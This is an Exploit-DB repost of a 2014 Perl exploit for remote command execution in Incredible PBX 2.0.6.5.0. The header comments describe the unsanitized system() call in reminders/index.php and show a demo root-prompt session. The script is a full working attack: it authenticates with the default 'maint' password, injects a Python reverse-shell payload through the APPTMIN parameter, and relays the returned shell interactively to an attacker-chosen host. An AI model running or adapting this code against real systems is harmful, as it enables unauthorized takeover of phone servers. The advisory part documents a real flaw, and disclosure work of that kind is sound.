Incredible PBX 2.0.6.5.0 – Remote Command Execution

  • 作者: Simo Ben Youssef
    日期: 2014-10-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35080/
  • #!/usr/bin/perl
    #
    # Title: Incredible PBX remote command execution exploit
    # Author: Simo Ben youssef
    # Contact: Simo_at_Morxploit_com
    # Discovered: 1 September 2014
    # Coded: 21 October 2014
    # Published: 21 October 2014
    # MorXploit Research
    # http://www.MorXploit.com
    # Vendor: PBX in a Flash
    # Vendor url: http://pbxinaflash.net/
    # Software: Incredible PBX 11
    # Version: 2.0.6.5.0
    # Product url: http://incrediblepbx.com/
    # Vulnerable file: reminders/index.php
    #
    # About (from their website):
    # Incredible PBX is a secure and feature-rich implementation of the terrific Asterisk® PBX. By rethinking the PBX security model from the
    # ground up, Incredible PBX was engineered to provide rock-solid security while delivering the most comprehensive collection of Asterisk
    # utilities available on the planet including free calling in the U.S. and Canada courtesy of Google Voice.
    #
    # Description:
    # reminders/index.php which ships with Incredible PBX suffers from a command execution vulnerability, allowing an authenticated user to
    # inject commands as the asterisk user.
    #
    # Vulnerable code:
    # 484: system $retcode3 = system("sox $tmpwave -r 8000 -c 1 $newgsm"); 
    # 472: $tmpwave = "/tmp/$token.wav"; 
    # 469: $token = md5(uniqid("")); 
    # 483: $newgsm = "/var/lib/asterisk/sounds/custom/" . $APPTTIME . "." . $APPTDT . "." . $APPTPHONE . ".gsm"; 
    # 381: $APPTTIME = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTTIME); 
    # 375: $APPTTIME = $_REQUEST['APPTHR'] . $_REQUEST['APPTMIN']; 
    # 380: $APPTDT = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTDT); 
    # 374: $APPTDT = $_REQUEST['APPTYR'] . $_REQUEST['APPTMO'] . $_REQUEST['APPTDA']; 
    # 382: $APPTPHONE = str_replace(array(chr(13), chr(10), "<", ">", " ", "(", ")", "-", "."), "", $APPTPHONE); 
    # 376: $APPTPHONE = $_REQUEST['APPTPHONE']; 
    #
    # As you can see, none of user input sent through $_REQUEST[] parameters is being validated/sanitized before being passed it to system();
    #
    # Exploit:
    # As PoC, the below perl code will try to exploit $_REQUEST['APPTMIN'] to inject a python connect back shell.
    #
    # Note:
    # Access to reminders/index.php requires 'maint' password, in the exploit code we have used the default installation password which is
    # 'password'.
    #
    # Demo:
    # ====================================================
    # --- Incredible PBX remote command execution exploit
    # --- By: Simo Ben youssef <simo_at_morxploit_com>
    # --- MorXploit Research www.MorXploit.com
    # ====================================================
    # [*] MorXploiting http://10.0.0.20/reminders/index.php
    # [+] Sent payload! Waiting for connect back shell ...
    # sh: no job control in this shell
    # sh-4.1$ id; cat /etc/issue
    # id; cat /etc/issue
    # uid=498(asterisk) gid=497(asterisk) groups=497(asterisk)
    # CentOS release 6.5 (Custom) on \m
    # Welcome to PBX in a Flash - Green
    # Please log in to continue
    # ******************************************
    # Your IP Address is:
    #
    # 10.0.0.20
    # ******************************************
    # 
    # Download:
    # http://www.morxploit.com/morxploits/morxincpbx.pl
    #
    # Requires LWP::UserAgent
    # apt-get install libwww-perl
    # yum install libwww-perl
    # perl -MCPAN -e 'install Bundle::LWP'
    # For SSL support:
    # apt-get install liblwp-protocol-https-perl
    # yum install perl-Crypt-SSLeay
    #
    # Author disclaimer:
    # The information contained in this entire document is for educational, demonstration and testing purposes only.
    # Author cannot be held responsible for any malicious use or damage. Use at your own risk.
    
    use LWP::UserAgent;
    use MIME::Base64;
    use IO::Socket;
    use strict;
    
    sub banner {
    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
    print "====================================================\n";
    print "--- Incredible PBX remote command execution exploit\n";
    print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
    print "--- MorXploit Research www.MorXploit.com\n";
    print "====================================================\n";
    }
    
    if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) {
    banner();
    print "perl $0 <target> <connectbackIP> <connectbackport>\n";
    print "perl $0 http://10.0.0.16 10.0.0.2 31337\n";
    exit;
    }
    
    my $host = $ARGV[0];
    my $vuln = "reminders/index.php";
    my $cbhost = $ARGV[1];
    my $cbport = $ARGV[2];
    my $defuser = "maint"; # Default maint user
    my $defpass = "password"; # Default maint pass
    my $string = "$defuser:$defpass";
    my $host2 = "http://localhost:81";
    my $encoded = encode_base64($string);
    $| = 1;
    $SIG{CHLD} = 'IGNORE';
    
    my $l_sock = IO::Socket::INET->new(
    Proto => "tcp",
    LocalPort => "$cbport",
    Listen => 1,
    LocalAddr => "0.0.0.0",
    Reuse => 1,
    ) or die "[-] Could not listen on $cbport: $!\n";
    
    sub randomagent {
    my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
    'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
    'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
    'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
    );
    my $random = $array[rand @array];
    return($random);
    }
    my $useragent = randomagent();
    
    my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
    $ua->timeout(10);
    $ua->agent($useragent);
    my $status = $ua->get("$host/$vuln", Authorization => "Basic $encoded");
    unless ($status->is_success) {
    banner();
    print "[-] Error: " . $status->status_line . "\n";
    exit;
    }
    
    banner();
    print "[*] MorXploiting $host/$vuln\n";
    
    my $payload = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$cbhost\",$cbport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
    my $get = "APPTDA=morx&APPTPHONE=morx&APPTMO=morx&APPTMIN=;$payload;&APPTHR=morx"; 
    my $exploit = $ua->get("$host/$vuln?$get", Authorization => "Basic $encoded");
    print "[+] Sent payload! Waiting for connect back root shell ...\n";
    
    my $a_sock = $l_sock->accept();
    $l_sock->shutdown(SHUT_RDWR);
    copy_data_bidi($a_sock);
    
    sub copy_data_bidi {
    my ($socket) = @_;
    my $child_pid = fork();
    if (! $child_pid) {
    close(STDIN);
    copy_data_mono($socket, *STDOUT);
    $socket->shutdown(SHUT_RD);
    exit();
    } else {
    close(STDOUT);
    copy_data_mono(*STDIN, $socket);
    $socket->shutdown(SHUT_WR);
    kill("TERM", $child_pid);
    }
    }
    sub copy_data_mono {
    my ($src, $dst) = @_;
    my $buf;
    while (my $read_len = sysread($src, $buf, 4096)) {
    my $write_len = $read_len;
    while ($write_len) {
    my $written_len = syswrite($dst, $buf);
    return unless $written_len;
    $write_len -= $written_len;
    }
    }
    }